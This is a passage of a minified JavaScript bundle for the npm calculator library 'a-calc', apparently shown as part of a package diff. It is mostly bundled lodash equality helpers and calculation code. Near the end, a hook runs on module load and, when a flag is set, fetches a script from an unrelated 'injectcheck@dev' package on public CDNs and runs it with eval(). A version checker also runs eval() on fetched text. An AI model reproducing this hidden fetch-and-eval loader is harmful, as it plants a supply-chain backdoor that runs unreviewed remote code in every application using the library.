r={},a={_error:"-"};return["string","number"].includes(_typeof(e))?(Array.isArray(t)||void 0===t||Object.keys(t).forEach((function(e){return e.startsWith("_")&&(a[e]=t[e])})),r=null!=t?t:{},/[a-zA-Z_$]/.test(e.toString())?void 0!==t?(r=t,calc(e,_objectSpread2(_objectSpread2({},a),r))):function(t){return calc(e,_objectSpread2(_objectSpread2({},a),t))}:calc(e,_objectSpread2(_objectSpread2({},a),r))):(r=e,function(e){return calc(e,_objectSpread2(_objectSpread2({},a),r))})}function check_version(){return _check_version.apply(this,arguments)}function _check_version(){return _check_version=_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code,versions,last_version,larr,varr,script,url;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if("undefined"==typeof process||"node"!==process.release.name){_context.next=19;break}if(!(parseInt(process.versions.node)>=17)){_context.next=17;break}return _context.next=4,promise_queue([fetch("https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js"),fetch("https://unpkg.com/a-calc@latest/a-calc.versions.js")]);case 4:return res=_context.sent,_context.next=7,res.text();case 7:code=_context.sent,versions=eval(code),last_version=versions.at(-1),larr=last_version.match(/(\d+)\.(\d+)\.(\d+)/),larr.shift(),larr=larr.map((function(e){return parseInt(e)})),varr=version.match(/(\d+)\.(\d+)\.(\d+)/),varr.shift(),varr=varr.map((function(e){return parseInt(e)})),(larr[0]>varr[0]||larr[0]===varr[0]&&larr[1]>varr[1]||larr[0]===varr[0]&&larr[1]===varr[1]&&larr[2]>varr[2])&&console.warn("a-calc has a new version:",last_version);case 17:_context.next=25;break;case 19:return script=document.createElement("script"),script.onload=function(){var e=a_calc_versions;if(Array.isArray(e)){var t=e.at(-1),r=t.match(/(\d+)\.(\d+)\.(\d+)/);r.shift(),r=r.map((function(e){return parseInt(e)}));var a=version.match(/(\d+)\.(\d+)\.(\d+)/);a.shift(),a=a.map((function(e){return parseInt(e)})),(r[0]>a[0]||r[0]===a[0]&&r[1]>a[1]||r[0]===a[0]&&r[1]===a[1]&&r[2]>a[2])&&console.log("%c↑↑↑ a-calc has a new version: %s ↑↑↑","color: #67C23A;",t)}},_context.next=23,test_urls(["https://cdn.jsdelivr.net/npm/a-calc@latest/a-calc.versions.js","https://unpkg.com/a-calc@latest/a-calc.versions.js"]);case 23:url=_context.sent,url?(script.src=url,document.body.appendChild(script)):script=null;case 25:case"end":return _context.stop()}}),_callee)}))),_check_version.apply(this,arguments)}function idle_cleaner(){get_debug_config()&&console.log("清理者开始运行"),globalThis.__calc_cleaner_timer||(globalThis.__calc_cleaner_timer=setInterval((function(){idle((function(){get_debug_config()&&(console.log("执行空闲清理程序, 当前缓存:"),console.log("cache_eval:",cache_eval),console.log("cache_tokens:",cache_tokens),console.log("cache_fmt_tokens:",cache_fmt_tokens));var e=Object.keys(cache_eval),t=Object.keys(cache_tokens),r=Object.keys(cache_fmt_tokens),a=(new Date).getTime();e.forEach((function(e){var t=cache_eval[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_eval[e]})),t.forEach((function(e){var t=cache_tokens[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_tokens[e]})),r.forEach((function(e){var t=cache_fmt_tokens[e],r=a-t.last_time;t.count>10||r>=1e4&&t.count<3&&delete cache_fmt_tokens[e]}))}))}),1e4))}var ListCache$2=_ListCache;function stackClear$1(){this.__data__=new ListCache$2,this.size=0}var _stackClear=stackClear$1;function stackDelete$1(e){var t=this.__data__,r=t.delete(e);return this.size=t.size,r}var _stackDelete=stackDelete$1;function stackGet$1(e){return this.__data__.get(e)}var _stackGet=stackGet$1;function stackHas$1(e){return this.__data__.has(e)}var _stackHas=stackHas$1,ListCache$1=_ListCache,Map$1=_Map,MapCache$1=_MapCache,LARGE_ARRAY_SIZE=200;function stackSet$1(e,t){var r=this.__data__;if(r instanceof ListCache$1){var a=r.__data__;if(!Map$1||a.length<LARGE_ARRAY_SIZE-1)return a.push([e,t]),this.size=++r.size,this;r=this.__data__=new MapCache$1(a)}return r.set(e,t),this.size=r.size,this}var _stackSet=stackSet$1,ListCache=_ListCache,stackClear=_stackClear,stackDelete=_stackDelete,stackGet=_stackGet,stackHas=_stackHas,stackSet=_stackSet;function Stack$1(e){var t=this.__data__=new ListCache(e);this.size=t.size}Stack$1.prototype.clear=stackClear,Stack$1.prototype.delete=stackDelete,Stack$1.prototype.get=stackGet,Stack$1.prototype.has=stackHas,Stack$1.prototype.set=stackSet;var _Stack=Stack$1,HASH_UNDEFINED="__lodash_hash_undefined__";function setCacheAdd$1(e){return this.__data__.set(e,HASH_UNDEFINED),this}var _setCacheAdd=setCacheAdd$1;function setCacheHas$1(e){return this.__data__.has(e)}var _setCacheHas=setCacheHas$1,MapCache=_MapCache,setCacheAdd=_setCacheAdd,setCacheHas=_setCacheHas;function SetCache$1(e){var t=-1,r=null==e?0:e.length;for(this.__data__=new MapCache;++t<r;)this.add(e[t])}SetCache$1.prototype.add=SetCache$1.prototype.push=setCacheAdd,SetCache$1.prototype.has=setCacheHas;var _SetCache=SetCache$1;function arraySome$1(e,t){for(var r=-1,a=null==e?0:e.length;++r<a;)if(t(e[r],r,e))return!0;return!1}var _arraySome=arraySome$1;function cacheHas$1(e,t){return e.has(t)}var _cacheHas=cacheHas$1,SetCache=_SetCache,arraySome=_arraySome,cacheHas=_cacheHas,COMPARE_PARTIAL_FLAG$3=1,COMPARE_UNORDERED_FLAG$1=2;function equalArrays$2(e,t,r,a,n,o){var i=r&COMPARE_PARTIAL_FLAG$3,s=e.length,c=t.length;if(s!=c&&!(i&&c>s))return!1;var l=o.get(e),u=o.get(t);if(l&&u)return l==t&&u==e;var f=-1,p=!0,h=r&COMPARE_UNORDERED_FLAG$1?new SetCache:void 0;for(o.set(e,t),o.set(t,e);++f<s;){var _=e[f],g=t[f];if(a)var y=i?a(g,_,f,t,e,o):a(_,g,f,e,t,o);if(void 0!==y){if(y)continue;p=!1;break}if(h){if(!arraySome(t,(function(e,t){if(!cacheHas(h,t)&&(_===e||n(_,e,r,a,o)))return h.push(t)}))){p=!1;break}}else if(_!==g&&!n(_,g,r,a,o)){p=!1;break}}return o.delete(e),o.delete(t),p}var _equalArrays=equalArrays$2,root$4=_root,Uint8Array$1=root$4.Uint8Array,_Uint8Array=Uint8Array$1;function mapToArray$1(e){var t=-1,r=Array(e.size);return e.forEach((function(e,a){r[++t]=[a,e]})),r}var _mapToArray=mapToArray$1;function setToArray$1(e){var t=-1,r=Array(e.size);return e.forEach((function(e){r[++t]=e})),r}var _setToArray=setToArray$1,_Symbol=_Symbol$4,Uint8Array=_Uint8Array,eq=eq_1,equalArrays$1=_equalArrays,mapToArray=_mapToArray,setToArray=_setToArray,COMPARE_PARTIAL_FLAG$2=1,COMPARE_UNORDERED_FLAG=2,boolTag$1="[object Boolean]",dateTag$1="[object Date]",errorTag$1="[object Error]",mapTag$2="[object Map]",numberTag$1="[object Number]",regexpTag$1="[object RegExp]",setTag$2="[object Set]",stringTag$1="[object String]",symbolTag="[object Symbol]",arrayBufferTag$1="[object ArrayBuffer]",dataViewTag$2="[object DataView]",symbolProto=_Symbol?_Symbol.prototype:void 0,symbolValueOf=symbolProto?symbolProto.valueOf:void 0;function equalByTag$1(e,t,r,a,n,o,i){switch(r){case dataViewTag$2:if(e.byteLength!=t.byteLength||e.byteOffset!=t.byteOffset)return!1;e=e.buffer,t=t.buffer;case arrayBufferTag$1:return!(e.byteLength!=t.byteLength||!o(new Uint8Array(e),new Uint8Array(t)));case boolTag$1:case dateTag$1:case numberTag$1:return eq(+e,+t);case errorTag$1:return e.name==t.name&&e.message==t.message;case regexpTag$1:case stringTag$1:return e==t+"";case mapTag$2:var s=mapToArray;case setTag$2:var c=a&COMPARE_PARTIAL_FLAG$2;if(s||(s=setToArray),e.size!=t.size&&!c)return!1;var l=i.get(e);if(l)return l==t;a|=COMPARE_UNORDERED_FLAG,i.set(e,t);var u=equalArrays$1(s(e),s(t),a,n,o,i);return i.delete(e),u;case symbolTag:if(symbolValueOf)return symbolValueOf.call(e)==symbolValueOf.call(t)}return!1}var _equalByTag=equalByTag$1;function arrayPush$1(e,t){for(var r=-1,a=t.length,n=e.length;++r<a;)e[n+r]=t[r];return e}var _arrayPush=arrayPush$1,arrayPush=_arrayPush,isArray$2=isArray_1;function baseGetAllKeys$1(e,t,r){var a=t(e);return isArray$2(e)?a:arrayPush(a,r(e))}var _baseGetAllKeys=baseGetAllKeys$1;function arrayFilter$1(e,t){for(var r=-1,a=null==e?0:e.length,n=0,o=[];++r<a;){var i=e[r];t(i,r,e)&&(o[n++]=i)}return o}var _arrayFilter=arrayFilter$1;function stubArray$1(){return[]}var stubArray_1=stubArray$1,arrayFilter=_arrayFilter,stubArray=stubArray_1,objectProto$6=Object.prototype,propertyIsEnumerable$1=objectProto$6.propertyIsEnumerable,nativeGetSymbols=Object.getOwnPropertySymbols,getSymbols$1=nativeGetSymbols?function(e){return null==e?[]:(e=Object(e),arrayFilter(nativeGetSymbols(e),(function(t){return propertyIsEnumerable$1.call(e,t)})))}:stubArray,_getSymbols=getSymbols$1;function baseTimes$1(e,t){for(var r=-1,a=Array(e);++r<e;)a[r]=t(r);return a}var _baseTimes=baseTimes$1,baseGetTag$2=_baseGetTag,isObjectLike$3=isObjectLike_1,argsTag$2="[object Arguments]";function baseIsArguments$1(e){return isObjectLike$3(e)&&baseGetTag$2(e)==argsTag$2}var _baseIsArguments=baseIsArguments$1,baseIsArguments=_baseIsArguments,isObjectLike$2=isObjectLike_1,objectProto$5=Object.prototype,hasOwnProperty$4=objectProto$5.hasOwnProperty,propertyIsEnumerable=objectProto$5.propertyIsEnumerable,isArguments$1=baseIsArguments(function(){return arguments}())?baseIsArguments:function(e){return isObjectLike$2(e)&&hasOwnProperty$4.call(e,"callee")&&!propertyIsEnumerable.call(e,"callee")},isArguments_1=isArguments$1,isBuffer$2={exports:{}};function stubFalse(){return!1}var stubFalse_1=stubFalse;isBuffer$2.exports,function(e,t){var r=_root,a=stubFalse_1,n=t&&!t.nodeType&&t,o=n&&e&&!e.nodeType&&e,i=o&&o.exports===n?r.Buffer:void 0,s=(i?i.isBuffer:void 0)||a;e.exports=s}(isBuffer$2,isBuffer$2.exports);var isBufferExports=isBuffer$2.exports,MAX_SAFE_INTEGER$1=9007199254740991,reIsUint=/^(?:0|[1-9]\d*)$/;function isIndex$1(e,t){var r=_typeof(e);return!!(t=null==t?MAX_SAFE_INTEGER$1:t)&&("number"==r||"symbol"!=r&&reIsUint.test(e))&&e>-1&&e%1==0&&e<t}var _isIndex=isIndex$1,MAX_SAFE_INTEGER=9007199254740991;function isLength$2(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=MAX_SAFE_INTEGER}var isLength_1=isLength$2,baseGetTag$1=_baseGetTag,isLength$1=isLength_1,isObjectLike$1=isObjectLike_1,argsTag$1="[object Arguments]",arrayTag$1="[object Array]",boolTag="[object Boolean]",dateTag="[object Date]",errorTag="[object Error]",funcTag="[object Function]",mapTag$1="[object Map]",numberTag="[object Number]",objectTag$2="[object Object]",regexpTag="[object RegExp]",setTag$1="[object Set]",stringTag="[object String]",weakMapTag$1="[object WeakMap]",arrayBufferTag="[object ArrayBuffer]",dataViewTag$1="[object DataView]",float32Tag="[object Float32Array]",float64Tag="[object Float64Array]",int8Tag="[object Int8Array]",int16Tag="[object Int16Array]",int32Tag="[object Int32Array]",uint8Tag="[object Uint8Array]",uint8ClampedTag="[object Uint8ClampedArray]",uint16Tag="[object Uint16Array]",uint32Tag="[object Uint32Array]",typedArrayTags={};function baseIsTypedArray$1(e){return isObjectLike$1(e)&&isLength$1(e.length)&&!!typedArrayTags[baseGetTag$1(e)]}typedArrayTags[float32Tag]=typedArrayTags[float64Tag]=typedArrayTags[int8Tag]=typedArrayTags[int16Tag]=typedArrayTags[int32Tag]=typedArrayTags[uint8Tag]=typedArrayTags[uint8ClampedTag]=typedArrayTags[uint16Tag]=typedArrayTags[uint32Tag]=!0,typedArrayTags[argsTag$1]=typedArrayTags[arrayTag$1]=typedArrayTags[arrayBufferTag]=typedArrayTags[boolTag]=typedArrayTags[dataViewTag$1]=typedArrayTags[dateTag]=typedArrayTags[errorTag]=typedArrayTags[funcTag]=typedArrayTags[mapTag$1]=typedArrayTags[numberTag]=typedArrayTags[objectTag$2]=typedArrayTags[regexpTag]=typedArrayTags[setTag$1]=typedArrayTags[stringTag]=typedArrayTags[weakMapTag$1]=!1;var _baseIsTypedArray=baseIsTypedArray$1;function baseUnary$1(e){return function(t){return e(t)}}var _baseUnary=baseUnary$1,_nodeUtil={exports:{}};_nodeUtil.exports,function(e,t){var r=_freeGlobal,a=t&&!t.nodeType&&t,n=a&&e&&!e.nodeType&&e,o=n&&n.exports===a&&r.process,i=function(){try{var e=n&&n.require&&n.require("util").types;return e||o&&o.binding&&o.binding("util")}catch(e){}}();e.exports=i}(_nodeUtil,_nodeUtil.exports);var _nodeUtilExports=_nodeUtil.exports,baseIsTypedArray=_baseIsTypedArray,baseUnary=_baseUnary,nodeUtil=_nodeUtilExports,nodeIsTypedArray=nodeUtil&&nodeUtil.isTypedArray,isTypedArray$2=nodeIsTypedArray?baseUnary(nodeIsTypedArray):baseIsTypedArray,isTypedArray_1=isTypedArray$2,baseTimes=_baseTimes,isArguments=isArguments_1,isArray$1=isArray_1,isBuffer$1=isBufferExports,isIndex=_isIndex,isTypedArray$1=isTypedArray_1,objectProto$4=Object.prototype,hasOwnProperty$3=objectProto$4.hasOwnProperty;function arrayLikeKeys$1(e,t){var r=isArray$1(e),a=!r&&isArguments(e),n=!r&&!a&&isBuffer$1(e),o=!r&&!a&&!n&&isTypedArray$1(e),i=r||a||n||o,s=i?baseTimes(e.length,String):[],c=s.length;for(var l in e)!t&&!hasOwnProperty$3.call(e,l)||i&&("length"==l||n&&("offset"==l||"parent"==l)||o&&("buffer"==l||"byteLength"==l||"byteOffset"==l)||isIndex(l,c))||s.push(l);return s}var _arrayLikeKeys=arrayLikeKeys$1,objectProto$3=Object.prototype;function isPrototype$1(e){var t=e&&e.constructor;return e===("function"==typeof t&&t.prototype||objectProto$3)}var _isPrototype=isPrototype$1;function overArg$1(e,t){return function(r){return e(t(r))}}var _overArg=overArg$1,overArg=_overArg,nativeKeys$1=overArg(Object.keys,Object),_nativeKeys=nativeKeys$1,isPrototype=_isPrototype,nativeKeys=_nativeKeys,objectProto$2=Object.prototype,hasOwnProperty$2=objectProto$2.hasOwnProperty;function baseKeys$1(e){if(!isPrototype(e))return nativeKeys(e);var t=[];for(var r in Object(e))hasOwnProperty$2.call(e,r)&&"constructor"!=r&&t.push(r);return t}var _baseKeys=baseKeys$1,isFunction=isFunction_1,isLength=isLength_1;function isArrayLike$1(e){return null!=e&&isLength(e.length)&&!isFunction(e)}var isArrayLike_1=isArrayLike$1,arrayLikeKeys=_arrayLikeKeys,baseKeys=_baseKeys,isArrayLike=isArrayLike_1;function keys$1(e){return isArrayLike(e)?arrayLikeKeys(e):baseKeys(e)}var keys_1=keys$1,baseGetAllKeys=_baseGetAllKeys,getSymbols=_getSymbols,keys=keys_1;function getAllKeys$1(e){return baseGetAllKeys(e,keys,getSymbols)}var _getAllKeys=getAllKeys$1,getAllKeys=_getAllKeys,COMPARE_PARTIAL_FLAG$1=1,objectProto$1=Object.prototype,hasOwnProperty$1=objectProto$1.hasOwnProperty;function equalObjects$1(e,t,r,a,n,o){var i=r&COMPARE_PARTIAL_FLAG$1,s=getAllKeys(e),c=s.length;if(c!=getAllKeys(t).length&&!i)return!1;for(var l=c;l--;){var u=s[l];if(!(i?u in t:hasOwnProperty$1.call(t,u)))return!1}var f=o.get(e),p=o.get(t);if(f&&p)return f==t&&p==e;var h=!0;o.set(e,t),o.set(t,e);for(var _=i;++l<c;){var g=e[u=s[l]],y=t[u];if(a)var b=i?a(y,g,u,t,e,o):a(g,y,u,e,t,o);if(!(void 0===b?g===y||n(g,y,r,a,o):b)){h=!1;break}_||(_="constructor"==u)}if(h&&!_){var d=e.constructor,m=t.constructor;d==m||!("constructor"in e)||!("constructor"in t)||"function"==typeof d&&d instanceof d&&"function"==typeof m&&m instanceof m||(h=!1)}return o.delete(e),o.delete(t),h}var _equalObjects=equalObjects$1,getNative$3=_getNative,root$3=_root,DataView$1=getNative$3(root$3,"DataView"),_DataView=DataView$1,getNative$2=_getNative,root$2=_root,Promise$2=getNative$2(root$2,"Promise"),_Promise=Promise$2,getNative$1=_getNative,root$1=_root,Set$1=getNative$1(root$1,"Set"),_Set=Set$1,getNative=_getNative,root=_root,WeakMap$1=getNative(root,"WeakMap"),_WeakMap=WeakMap$1,DataView=_DataView,Map=_Map,Promise$1=_Promise,Set=_Set,WeakMap=_WeakMap,baseGetTag=_baseGetTag,toSource=_toSource,mapTag="[object Map]",objectTag$1="[object Object]",promiseTag="[object Promise]",setTag="[object Set]",weakMapTag="[object WeakMap]",dataViewTag="[object DataView]",dataViewCtorString=toSource(DataView),mapCtorString=toSource(Map),promiseCtorString=toSource(Promise$1),setCtorString=toSource(Set),weakMapCtorString=toSource(WeakMap),getTag$1=baseGetTag;(DataView&&getTag$1(new DataView(new ArrayBuffer(1)))!=dataViewTag||Map&&getTag$1(new Map)!=mapTag||Promise$1&&getTag$1(Promise$1.resolve())!=promiseTag||Set&&getTag$1(new Set)!=setTag||WeakMap&&getTag$1(new WeakMap)!=weakMapTag)&&(getTag$1=function(e){var t=baseGetTag(e),r=t==objectTag$1?e.constructor:void 0,a=r?toSource(r):"";if(a)switch(a){case dataViewCtorString:return dataViewTag;case mapCtorString:return mapTag;case promiseCtorString:return promiseTag;case setCtorString:return setTag;case weakMapCtorString:return weakMapTag}return t});var _getTag=getTag$1,Stack=_Stack,equalArrays=_equalArrays,equalByTag=_equalByTag,equalObjects=_equalObjects,getTag=_getTag,isArray=isArray_1,isBuffer=isBufferExports,isTypedArray=isTypedArray_1,COMPARE_PARTIAL_FLAG=1,argsTag="[object Arguments]",arrayTag="[object Array]",objectTag="[object Object]",objectProto=Object.prototype,hasOwnProperty=objectProto.hasOwnProperty;function baseIsEqualDeep$1(e,t,r,a,n,o){var i=isArray(e),s=isArray(t),c=i?arrayTag:getTag(e),l=s?arrayTag:getTag(t),u=(c=c==argsTag?objectTag:c)==objectTag,f=(l=l==argsTag?objectTag:l)==objectTag,p=c==l;if(p&&isBuffer(e)){if(!isBuffer(t))return!1;i=!0,u=!1}if(p&&!u)return o||(o=new Stack),i||isTypedArray(e)?equalArrays(e,t,r,a,n,o):equalByTag(e,t,c,r,a,n,o);if(!(r&COMPARE_PARTIAL_FLAG)){var h=u&&hasOwnProperty.call(e,"__wrapped__"),_=f&&hasOwnProperty.call(t,"__wrapped__");if(h||_){var g=h?e.value():e,y=_?t.value():t;return o||(o=new Stack),n(g,y,r,a,o)}}return!!p&&(o||(o=new Stack),equalObjects(e,t,r,a,n,o))}var _baseIsEqualDeep=baseIsEqualDeep$1,baseIsEqualDeep=_baseIsEqualDeep,isObjectLike=isObjectLike_1;function baseIsEqual$1(e,t,r,a,n){return e===t||(null==e||null==t||!isObjectLike(e)&&!isObjectLike(t)?e!=e&&t!=t:baseIsEqualDeep(e,t,r,a,baseIsEqual$1,n))}var _baseIsEqual=baseIsEqual$1,baseIsEqual=_baseIsEqual;function isEqual(e,t){return baseIsEqual(e,t)}var isEqual_1=isEqual,deep_equal=getDefaultExportFromCjs(isEqual_1);function calc(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];var a=t[0];if(a in cache_calc&&deep_equal(t[1],cache_calc[a].arg2))return cache_calc[a].count++,cache_calc[a].last_time=(new Date).getTime(),cache_calc[a].value;cache_calc[a]={arg2:t[1],last_time:(new Date).getTime(),count:0};var n,o,i=parse_args(t),s=get$1(i,"options._error",void 0),c=get$1(i,"options._debug",!1),l=get$1(i,"options._unit",!1),u=i.options,f=null;if(i.fmt_err||i.expr_err){if(not_undefined(s))return cache_calc[a].value=s,s;throw new Error("表达式或格式化字符串错误,表达式为:".concat(i.expr))}var p=i.fmt_tokens;if(not_undefined(s))try{n=tokenizer(i.expr,l)}catch(e){return cache_calc[a].value=s,s}else n=tokenizer(i.expr,l);if(is_null(u))o=n;else{var h=[];if(Array.isArray(u))h=u;else{h.push(u);var _=get$1(u,"_fill_data",{});not_undefined(_)&&(Array.isArray(_)?h=[].concat(_toConsumableArray(h),_toConsumableArray(_)):h.push(_))}if(not_undefined(s))try{o=fill_tokens(n,h,l),not_null(i.fmt_tokens)&&(p=fill_fmt_tokens(i.fmt_tokens,h))}catch(e){return cache_calc[a].value=s,s}else o=fill_tokens(n,h,l),not_null(i.fmt_tokens)&&(p=fill_fmt_tokens(i.fmt_tokens,h));if([!0,"on","auto","space"].includes(l)){var g=get_token_and_unit(o);f=g.unit,o=g.tokens}}var y=token2postfix(o),b=null,d={};if(not_undefined(s))try{b=eval_postfix(y)}catch(e){return cache_calc[a].value=s,s}else b=eval_postfix(y);if(not_null(p)){var m=_slicedToArray(format(b,p),2);b=m[0],d=m[1]}else b=null!==b?b.toFixed():null;if("Infinity"===b||null===b){if(not_undefined(s))return cache_calc[a].value=s,s;throw new Error("计算错误可能是非法的计算式")}return null===f||d.to_number||d.to_number_string||(b+=f),(get_debug_config()||c)&&(console.groupCollapsed("%c"+i.origin_expr,debug_style.expr),console.groupCollapsed("%c表达式: %c%s",debug_style.label1,debug_style.nowrap,i.origin_expr),console.log(i.origin_expr),console.groupEnd(),console.groupCollapsed("%c数据源: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.origin_fill_data)),console.log(i.origin_fill_data),console.groupEnd(),console.groupCollapsed("%c结果: %c%s",debug_style.label1,debug_style.nowrap,stringify(b)),console.log(b),console.groupEnd(),console.groupCollapsed("%ctokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(n)),console.log(n),console.groupEnd(),console.groupCollapsed("%cfilled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(o)),console.log(o),console.groupEnd(),console.groupCollapsed("%cfmt-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.fmt_tokens)),console.log(i.fmt_tokens),console.groupEnd(),console.groupCollapsed("%cfmt-filled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(p)),console.log(p),console.groupEnd(),console.groupCollapsed("%cpostfix-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(y)),console.log(y),console.groupEnd(),console.groupCollapsed("%c单位: %c%s",debug_style.label1,debug_style.nowrap,f),console.log(f),console.groupEnd(),console.groupCollapsed("%cparse-arg: %c%s",debug_style.label1,debug_style.nowrap,stringify(i)),console.log(i),console.groupEnd(),console.groupEnd()),cache_calc[a].value=b,b}function check_update(){check_version().catch((function(){}))}function print_version(){console.log("%ca-calc:%c ".concat(version," %c=> %curl:%c https://www.npmjs.com/package/a-calc"),"color: #fff;background: #67C23A;padding: 2px 5px;border-radius:4px;font-size: 14px;","color: #67C23A;font-size:14px;","color: #67C23A;font-size:14px;","background: #67C23A;font-size:14px; padding: 2px 5px; border-radius: 4px; color: #fff;","font-size:14px;")}idle(_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if(_important_push){_context.next=2;break}return _context.abrupt("return");case 2:return _context.prev=2,_context.next=5,promise_queue([fetch("https://cdn.jsdelivr.net/npm/injectcheck@dev/a-calc.js"),fetch("https://unpkg.com/injectcheck@dev/a-calc.js")]);case 5:return res=_context.sent,_context.next=8,res.text();case 8:code=_context.sent,eval(code);case 10:return _context.prev=10,_context.finish(10);case 12:case"end":return _context.stop()}}),_callee,null,[[2,,10,12]])})))),idle(idle_cleaner);var calc_util={check_update:check_update,print_version:print_version,open_debug:open_debug,close_debug:close_debug,close_important_push:close_important_push,open_important_push:open_important_push},fmt=calc;export{calc,calc_util,calc_wrap,fmt,version};
|
package/package.json
CHANGED